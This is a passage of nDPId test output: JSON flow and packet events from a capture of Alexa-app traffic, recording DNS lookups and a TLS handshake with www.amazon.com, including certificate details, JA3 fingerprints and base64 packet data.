{"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00621{"flow_id":150,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2792,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":524157,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC96\/xAAEARoTmsECoBrBAq2AA1OlYAqVJ+4muBgAABAAYAAAAAA3d3dwZhbWF6b24DY29tAAABAAHADAAFAAEAAAW8AAoDd3d3A2NkbsAQwCwABQABAAAAWAAfDmQzYWc0aHVra2g2MnluCmNsb3VkZnJvbnQDbmV0AMBCAAEAAQAAABoABDRV0Y\/AQgABAAEAAAAaAAQ0VdF6wEIAAQABAAAAGgAENFXR2MBCAAEAAQAAABoABDRV0cU="} +00672{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2792,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":150,"flow_packet_id":2,"flow_first_seen":1490976195484,"flow_last_seen":1490976195524,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":40,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14934,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.85.209.143"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2794,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1490976195529,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":41828,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2794,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":529965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8suhAAEAGqwasECrYNFXRj6NkAbuAhDhYAAAAAKAC\/\/+BjwAAAgQFtAQCCAoA9oqwAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2795,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1490976195545,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":40425,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2795,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":545666,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AMDKkaPvePiC0\/vCCABFAABIWmVAAEARM0asECrYrBAqAZ3pADUANBzi5IoBAAABAAAAAAAAB2FuZHJvaWQHY2xpZW50cwZnb29nbGUDY29tAAABAAE="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2795,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1490976195545,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":40425,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"dns": {"query":"android.clients.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00424{"flow_id":142,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2796,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":546035,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAovadAAOcGq5427xyyrBAq2AG7xm5KXM+dbPUWhlARgACfqgAAAAAAAAAA"} +00416{"flow_id":142,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2797,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":547004,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolf9AAEAGekesECrYNu8cssZuAbts9RaGSlzPnlAQAVceVAAA"} +00444{"flow_id":151,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2798,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":572630,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqu40VdGPrBAq2AG7o2R8wwHRgIQ4WaAScSCn6AAAAgQFtAQCCApttHwsAPaKsAEDAwg="} +00432{"flow_id":151,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2799,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":573626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0sulAAEAGqw2sECrYNFXRj6NkAbuAhDhZfMMB0oAQAVdGegAAAQEICgD2irVttHws"} +00708{"flow_id":151,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2800,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":574285,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+supAAEAGqkKsECrYNFXRj6NkAbuAhDhZfMMB0oAYAVf8KgAAAQEICgD2irVttHwsFgMBAMUBAADBAwPpTJSZ1poYdnnlgBS9wmRJ7foXKk14XitVw1d4X49ZiQAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAeJqaAAD\/AQABAAAAABMAEQAADnd3dy5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAISkoAHQAXABiKigABAA=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2800,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":151,"flow_packet_id":4,"flow_first_seen":1490976195529,"flow_last_seen":1490976195574,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":32,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":41828,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00432{"flow_id":151,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2801,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":617600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0feNAAPMGLRM0VdGPrBAq2AG7o2R8wwHSgIQ5I4AQAHZGjAAAAQEICm20fDEA9oq1"} +02379{"flow_id":151,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2802,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":621582,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcfeRAAPMGJ2o0VdGPrBAq2AG7o2R8wwHSgIQ5I4AQAHYeuQAAAQEICm20fDEA9oq1FgMDAFQCAABQAwNduu+JesKyGafrWGMXSdsoWSCaruFvtY6z0Kx5uTwzOwDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwML6AsAC+QAC+EABp8wggabMIIFg6ADAgECAhAdSr2qeNCa\/nmdQbzrenZiMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYxMDMxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBoMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEXMBUGA1UEAwwOd3d3LmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCWihndZ\/4HxzWdNmP\/XjAI8iPKFw5XnK0RlANu1+1aLE7FOkbZKWTYYjWnO0RKmikGZtj+Fozlg1YNgMevTUBC\/MCrCw3LPmxfivK2QgRYj3YOiYpu\/FAqvLSbRm6P0zNptlva8dvR1tbBSXbJefmeV8clJ+YPRNLdQU1pDNcTEWeUpT+LtWiYsQH870618nRXZdnNvM7HdF+9PLnCafgDEILucZGSU0EpVr6elGXTOP6WjIJoz4AXlhX1ltREi7FiJk5be7ZrrpXNjAJFrYR20hs8As791KsU0C5oCEqqkU3Q4HjZ3XohZQ4qIyIcMkvnXZgAkkGZ9A8jt9VC1cnAgMBAAGjggMpMIIDJTCB1AYDVR0RBIHMMIHJggphbWF6b24uY29tgghhbXpuLmNvbYIRdWVkYXRhLmFtYXpvbi5jb22CDXVzLmFtYXpvbi5jb22CDnd3dy5hbWF6b24uY29tggx3d3cuYW16bi5jb22CFGNvcnBvcmF0ZS5hbWF6b24uY29tghFidXlib3guYW1hem9uLmNvbYIRaXBob25lLmFtYXpvbi5jb22CDXlwLmFtYXpvbi5jb22CD2hvbWUuYW1hem9uLmNvbYIVb3JpZ2luLXd3dy5hbWF6b24uY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFYGJ\/J8QAABAMASDBGAiEA6fFlggg6W7QvWe9jf7KTwDKBjO3dGyhkPVZyzlOX5b8CIQCuPTe0zJihJrUjbnOuq6NcNCnkacxegjQwcBcg1ZwRXQB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABWBifyhoAAAQ="} +00790{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2802,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":151,"flow_packet_id":6,"flow_first_seen":1490976195529,"flow_last_seen":1490976195621,"flow_tot_l4_data_len":1858,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":309,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":41828,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02383{"flow_id":151,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2803,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":622108,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcfeVAAPMGJ2k0VdGPrBAq2AG7o2R8wwd6gIQ5I4AQAHZCrAAAAQEICm20fDEA9oq1AwBIMEYCIQDRlQQ8KC2R\/bvOeWJr0FGedxbjE4OglejZEYKSCHekRQIhALbGyJPwAagwlRnFD5iqE1ZzSTO6uadnKEazPJcW2sRnMA0GCSqGSIb3DQEBCwUAA4IBAQA65KlsAxxtgfs05qV0ywTqM6qGzBkMIgJzJpCh9OR+X+STrfjphnLQlOwIuHxiF0oVphsf9oYW6TYQimBIKoFpP94WbG2ojsr39YJ6kiDhudt3ef24QnZ3AtnXM5OLVv46iwZst4TwdwO3\/Ialn7ql3sVX7+13yscEXfwfMT0JI1yzl+vZ8tR6bc5X9HqwjuADJelImPs\/TxshDt3JRhbUuKcFxjaEcEtRqoGemgZgEpRnifUSBvnl01IVzb71DGWuBpx0qrpruMAUU1lOJrg\/rwQMSXC2lSZDiDn1cjK0z+XLi7x86N\/7jW6zKh5RjSgrr6H7ZhiwtwpJzLsjT1CXAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE="} +02388{"flow_id":151,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2804,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":622710,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcfeZAAPMGJ2g0VdGPrBAq2AG7o2R8ww0igIQ5I4AQAHaaowAAAQEICm20fDEA9oq1NlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzMwMDgyMTM1WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEB1Kvap40Jr+eZ1BvOt6dmKAABgPMjAxNzAzMzAwODIxMzVaoBEYDzIwMTcwNDA2MDgyMTM1WjANBgkqhkiG9w0BAQUFAAOCAQEAgQDMpzZdwJ3PrNgB8d8f1cjQX1Ry6VrhEzAt1lcEB4WgmdjO0Jj7\/gcGHmmN4xjsgLxWz0TLFJXU3wjsiTaR9iYjNwnlVX2RjmqVz5lsVlEMa28OUwUvMwlmN7cuMZgdMiCi\/EUGOIACQtCuusxL8xVXf3x1piP9W5dJahTjHK\/gDPNDIF+nVKPFnlMFE\/hen03A+k1mR9yGF\/JfOOfP\/b1322DA7bnEn3JSMiFcIxbsU2gE9h3ovCxMS6WLeuK87uLOMB+5jQuVgYqUfvRPYAHuBDr37eG8TeoadjSco88HooscltcumFNXAv5B6ADN85OBUnpTIBJzgqaLgcnVnqCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1U="} +01267{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2804,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":151,"flow_packet_id":8,"flow_first_seen":1490976195529,"flow_last_seen":1490976195622,"flow_tot_l4_data_len":4818,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":602,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":41828,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","server_names":"amazon.com,amzn.com,uedata.amazon.com,us.amazon.com,www.amazon.com,www.amzn.com,corporate.amazon.com,buybox.amazon.com,iphone.amazon.com,yp.amazon.com,home.amazon.com,origin-www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=www.amazon.com","alpn":"h2,http\/1.1","fingerprint":"EF:14:6C:F1:5C:4A:F8:4D:BA:83:C2:1E:6C:5B:ED:C4:FA:34:1C:3E"}} +01480{"flow_id":151,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2805,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":622961,"pkt_caplen":833,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":833,"pkt_l4_len":799,"pkt":"ePiC0\/vCAMDKkVoBCABFAAMzfedAAPMGKhA0VdGPrBAq2AG7o2R8wxLKgIQ5I4AYAHa2\/QAAAQEICm20fDEA9oq1HSAEZzBlMGMGC2CGSAGG+EUBBxcDMFQwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCoGCCsGAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010zjA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQQq7+OG+xg\/8oNuBojRP9V9As2tGw+zVGmefmg0lsVg6KQ6mAq0ZH6aAfjyMWk\/dryOLpcCGlfOR+0G6wmc2s\/8BgEBAF0FRQTQ0lAMjBFWfz8XMVy2bTHP1DcgndV06tpUp7DVqhCP7ncCTnfcF1hF4vqT2CJUjyulz\/IzF8kjCjyOw0iPJIwdTXOUcNvKuR6\/er\/h7DAENEoPiIzfzEZBeEx\/frbVaJ3XnsXXR6cD65VFQcTMj9iXqUvngM\/D0UREdxnbeBJTzCW49magPxMvlNqEqL+kNhDC72\/GejDi7n4LKYI+cp8O\/CEmbUBgMVIdjCHWT29oLp+fF+fE274Hqp1d9OtQp0wt1TbpDemNTnfDcQ6QbkkbgwP9ONHqfiGWTPs+KJAptx+8s\/KzvwZ76fv409pPBnd5x2MTtSAooBN7euEWAwMABA4AAAA="} +00434{"flow_id":151,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2806,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":624911,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0sutAAEAGqwusECrYNFXRj6NkAbuAhDkjfMMHeoAQAWI\/8wAAAQEICgD2irpttHwx"} +00433{"flow_id":151,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2807,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":625698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0suxAAEAGqwqsECrYNFXRj6NkAbuAhDkjfMMNIoAQAW06QAAAAQEICgD2irpttHwx"} +00433{"flow_id":151,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2808,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":625951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0su1AAEAGqwmsECrYNFXRj6NkAbuAhDkjfMMSyoAQAXk0jAAAAQEICgD2irpttHwx"} +00433{"flow_id":151,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2809,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":627064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0su5AAEAGqwisECrYNFXRj6NkAbuAhDkjfMMVyYAQAYQxggAAAQEICgD2irpttHwx"} 